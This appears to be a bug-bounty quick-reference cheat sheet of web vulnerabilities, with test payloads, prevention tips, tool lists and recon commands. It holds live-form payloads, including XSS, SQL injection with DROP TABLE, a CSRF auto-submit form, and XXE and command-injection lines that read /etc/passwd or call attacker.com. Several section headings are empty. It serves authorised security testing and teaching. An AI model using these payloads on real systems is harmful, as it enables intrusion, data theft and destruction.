Master Quick Reference - All Vulnerabilities

🎯 One-Page Reference for All Common Web Vulnerabilities

🔴 XSS (Cross-Site Scripting)

Quick Test: <script>alert(1)</script>

Payloads:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
<iframe src="javascript:alert(1)">

Prevention: Output encoding, CSP, HTTPOnly cookies

🔴 SQL Injection

Quick Test: ' or 1'or'1'='1

Payloads:

' OR '1'='1'--
' UNION SELECT NULL,NULL--
'; DROP TABLE users--
' AND SLEEP(5)--

Prevention: Parameterized queries, input validation

🔴 SSRF (Server-Side Request Forgery)

Quick Test: http://127.0.0.1 or http://169.254.169.254

Targets:

Prevention: URL whitelist, network segmentation

🔴 CSRF (Cross-Site Request Forgery)

Quick Test: Create form that auto-submits

Exploit:

<form action="https://bank.com/transfer" method="POST">
    <input name="to" value="attacker" />
    <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>

Prevention: Anti-CSRF tokens, SameSite cookies

🔴 IDOR (Insecure Direct Object Reference)

Quick Test: Change /user/123 to /user/124

Locations:

Prevention: Access control checks, indirect references

🔴 XXE (XML External Entity)

Quick Test:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

OOB Exploit:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;

Prevention: Disable external entities, use JSON

🔴 Command Injection

Quick Test: ; whoami or | whoami

Payloads:

; ls -la
| cat /etc/passwd
& ping -c 10 attacker.com
`whoami`
$(whoami)

Prevention: Input validation, avoid system calls

🔴 File Upload

Quick Test: Upload .php.jpg or PHP shell as image

Bypasses:

Prevention: Whitelist extensions, content-type validation

🔴 JWT Attacks

Quick Test: Change algorithm to "none"

Attacks:

Prevention: Strong secrets, algorithm whitelist

🔴 Authentication Bypass

Quick Tests:

Prevention: Strong authentication, rate limiting

🎯 Testing Checklist

Recon

• Subdomain enumeration (subfinder, amass)
• Port scanning (nmap)
• Technology detection (Wappalyzer)
• URL discovery (waybackurls, gau)
• JavaScript analysis

Input Testing

• All input fields
• URL parameters
• HTTP headers
• Cookies
• File uploads
• JSON/XML endpoints

Authentication

• Login bypass
• Password reset
• Session management
• OAuth flows
• 2FA bypass

Authorization

• IDOR
• Privilege escalation
• Path traversal
• API access control

Injection

• SQL injection
• XSS
• Command injection
• XXE
• SSTI
• LDAP injection

Business Logic

• Race conditions
• Price manipulation
• Workflow bypass
• Mass assignment

🛠️ Essential Tools

Must Have:

• Burp Suite (proxy, scanner)
• Browser DevTools
• curl / Postman

Recon:

• subfinder (subdomains)
• httpx (HTTP probing)
• waybackurls (URL history)
• nuclei (vulnerability scanner)

Exploitation:

• SQLMap (SQL injection)
• XSStrike (XSS detection)
• ffuf (fuzzing)

Password Attacks:

• hashcat (hash cracking)
• john (password cracking)

💥 Common Payloads

XSS

<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
javascript:alert(1)

SQLi

' OR '1'='1
' UNION SELECT NULL--
'; DROP TABLE users--
' AND SLEEP(5)--
admin' --

Command Injection

; ls
| whoami
& cat /etc/passwd
`id`
$(uname -a)

Path Traversal

LFI/RFI

🚀 Quick Commands

Burp Suite

Subdomain Enum

subfinder -d target.com | httpx | nuclei

Full Recon

subfinder -d target.com | httpx | waybackurls | grep "\.js$" | httpx

SQLMap

sqlmap -u "url?id=1" --dbs --batch

Directory Fuzzing

ffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404

📊 CVSS Severity

🎯 Bug Bounty Impact

Critical ($5000-$20000+):

• RCE
• Authentication bypass
• SQL injection (data access)
• SSRF to cloud metadata

High ($1000-$5000):

• Stored XSS
• IDOR (sensitive data)
• XXE
• Account takeover

Medium ($200-$1000):

• Reflected XSS
• CSRF
• Open redirect
• Information disclosure

Low ($50-$200):

• Self-XSS
• Missing headers
• Clickjacking
• Rate limiting bypass

💡 Pro Tips

1. Start with low-hanging fruit - XSS, SQLi, IDOR
2. Automate recon - Build pipelines
3. Read disclosed reports - Learn from others
4. Focus on logic - Business logic bugs pay well
5. Chain vulnerabilities - XSS + CSRF = high impact
6. Test mobile APIs - Often less secure
7. Check old endpoints - Use waybackurls
8. Follow methodology - Systematic > random testing

⚠️ Legal Reminder

Only test on:

• ✅ Your own applications
• ✅ Authorized bug bounty programs
• ✅ Practice labs (DVWA, Juice Shop)

Never:

• ❌ Unauthorized systems
• ❌ Out-of-scope domains
• ❌ Production databases

Happy Hacking! 🔐

This is a quick reference. See individual cheat sheets for detailed information.